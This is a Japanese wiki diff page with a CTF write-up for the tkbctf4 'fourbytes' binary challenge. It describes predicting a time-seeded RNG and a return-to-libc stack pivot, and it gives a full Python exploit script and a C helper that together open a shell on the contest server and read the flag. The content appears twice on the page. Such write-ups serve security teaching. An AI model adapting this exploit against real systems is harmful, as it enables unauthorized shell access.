ログイン
編集不可のページディスカッション情報添付ファイル
"CTF/Writeup/tkbctf4/fourbytes"の差分

MMA
1と2のリビジョン間の差分
2014-11-03 21:47:01時点のリビジョン1
サイズ: 28
編集者: ytoku
コメント:
2014-11-04 07:45:30時点のリビジョン2
サイズ: 3348
編集者: ytoku
コメント:
削除された箇所はこのように表示されます。 追加された箇所はこのように表示されます。
行 2: 行 2:
時間内に解けなかった。

5回じゃんけんに勝つと,メモリ上の実行可能領域に4bytesだけ任意の命令列を書き込んで実行できる。
じゃんけん部分はバッファに文字列を読み込んで,strtolで数値に変換して0,1,2で入力する形式になっている。
プログラムの手はrandom関数によって生成されるが,シードが時刻になっているため容易に推測が可能である。

return-to-libcによって攻略できると考えた。
具体的にはじゃんけんの最後の入力において,じゃんけんの入力の後にスタックに配置したい値をいれておく。
4bytesの命令列ではスタックポインタをバッファ上のエクスプロイトを配置した位置にずらして,retを実行する。スタックポインタの移動は256bytes内に納まれば,これらの命令列は合計4bytesちょうどで表現できる。
即ち,`"\x83\xc4\x20\xc3" = add esp, 0x20; ret`

スタック上には次のものを配置しておく。
{{{
0xf7e46101 ; systemの2命令目(文字列終端回避のためpush ebpをスキップ)
0xffffffff ; dummy (push ebp分)
0xffffffff ; dummy (return address分)
0xf7f67304 ; "/bin/sh"
}}}

作成したエクスプロイト
{{{#!highlight python
import socket
import subprocess
from struct import pack
import sys
import time

def get_random():
    p = subprocess.Popen(["./random", "0"], stdout=subprocess.PIPE)
    (stdoutdata, stderrdata) = p.communicate()
    return stdoutdata.split("\n")[:-1]

def readline(f):
    s = f.readline()
    while "\n" not in s:
        t = f.readline()
        s += t
    return s

# for libc6_2.19-0ubuntu6.3
system = 0xf7579100
delta = 0xf7f67304 - 0xf7e46100

exploit = "";
exploit += pack("I", system + 1);
exploit += pack("I", 0xffffffff);
exploit += pack("I", 0xffffffff);
exploit += pack("I", system + delta);

def try_pwn():
    try:
        print "----------------------------"
        r = get_random()
        sock = socket.create_connection(("203.178.132.117", 3939))
        f = sock.makefile()
        for i in range(4):
            f.write(str(r[i]) + "\n")
        f.write(str(r[4]) + " " + exploit + "\n")
        f.write("\x83\xc4\x20\xc3\n")
        f.write("echo pwn!\nls\ncat flag\nexit\n")
        f.flush()
        time.sleep(0.1)
        s = f.read(2048)
        print s
        if "pwn" not in s:
            return False
        print "pwn!"
        return True
        f.close()
    except:
        pass
    finally:
        sock.close()

for i in xrange(1024):
    print i
    if try_pwn():
        break
}}}
random.c
{{{
#include <stdlib.h>
int main(int ARGC, char **ARGV) {
  srandom(time(NULL) + atoi(ARGV[1]));
  for(int i =0 ; i < 5; i++) {
    printf("%d\n", (random() + 1) % 3);
  }
}
}}}
ASLRが有効になっているもののlibcの配置空間はそれほど広くないらしく,ローカルでは1000回に数回は成功する。

が,問題サーバに対して実行するとpwnが返ってこない。じゃんけん部分は10回に9回程度は通過しているのでそこが問題ではない。
手元の環境と問題サーバで何が違うのだろう……

fourbytes (binary 500)

時間内に解けなかった。

5回じゃんけんに勝つと,メモリ上の実行可能領域に4bytesだけ任意の命令列を書き込んで実行できる。 じゃんけん部分はバッファに文字列を読み込んで,strtolで数値に変換して0,1,2で入力する形式になっている。 プログラムの手はrandom関数によって生成されるが,シードが時刻になっているため容易に推測が可能である。

return-to-libcによって攻略できると考えた。 具体的にはじゃんけんの最後の入力において,じゃんけんの入力の後にスタックに配置したい値をいれておく。 4bytesの命令列ではスタックポインタをバッファ上のエクスプロイトを配置した位置にずらして,retを実行する。スタックポインタの移動は256bytes内に納まれば,これらの命令列は合計4bytesちょうどで表現できる。 即ち,"\x83\xc4\x20\xc3" = add esp, 0x20; ret

スタック上には次のものを配置しておく。

0xf7e46101 ; systemの2命令目(文字列終端回避のためpush ebpをスキップ)
0xffffffff ; dummy (push ebp分)
0xffffffff ; dummy (return address分)
0xf7f67304 ; "/bin/sh"

作成したエクスプロイト

   1 import socket
   2 import subprocess
   3 from struct import pack
   4 import sys
   5 import time
   6 
   7 def get_random():
   8     p = subprocess.Popen(["./random", "0"], stdout=subprocess.PIPE)
   9     (stdoutdata, stderrdata) = p.communicate()
  10     return stdoutdata.split("\n")[:-1]
  11 
  12 def readline(f):
  13     s = f.readline()
  14     while "\n" not in s:
  15         t = f.readline()
  16         s += t
  17     return s
  18 
  19 # for libc6_2.19-0ubuntu6.3
  20 system = 0xf7579100
  21 delta = 0xf7f67304 - 0xf7e46100
  22 
  23 exploit = "";
  24 exploit += pack("I", system + 1);
  25 exploit += pack("I", 0xffffffff);
  26 exploit += pack("I", 0xffffffff);
  27 exploit += pack("I", system + delta);
  28 
  29 def try_pwn():
  30     try:
  31         print "----------------------------"
  32         r = get_random()
  33         sock = socket.create_connection(("203.178.132.117", 3939))
  34         f = sock.makefile()
  35         for i in range(4):
  36             f.write(str(r[i]) + "\n")
  37         f.write(str(r[4]) + "   " + exploit + "\n")
  38         f.write("\x83\xc4\x20\xc3\n")
  39         f.write("echo pwn!\nls\ncat flag\nexit\n")
  40         f.flush()
  41         time.sleep(0.1)
  42         s = f.read(2048)
  43         print s
  44         if "pwn" not in s:
  45             return False
  46         print "pwn!"
  47         return True
  48         f.close()
  49     except:
  50         pass
  51     finally:
  52         sock.close()
  53 
  54 for i in xrange(1024):
  55     print i
  56     if try_pwn():
  57         break

random.c

#include <stdlib.h>
int main(int ARGC, char **ARGV) {
  srandom(time(NULL) + atoi(ARGV[1]));
  for(int i =0 ; i < 5; i++) {
    printf("%d\n", (random() + 1) % 3);
  }
}

ASLRが有効になっているもののlibcの配置空間はそれほど広くないらしく,ローカルでは1000回に数回は成功する。

が,問題サーバに対して実行するとpwnが返ってこない。じゃんけん部分は10回に9回程度は通過しているのでそこが問題ではない。 手元の環境と問題サーバで何が違うのだろう……

CTF/Writeup/tkbctf4/fourbytes (最終更新日時 2014-11-04 07:45:30 更新者 ytoku)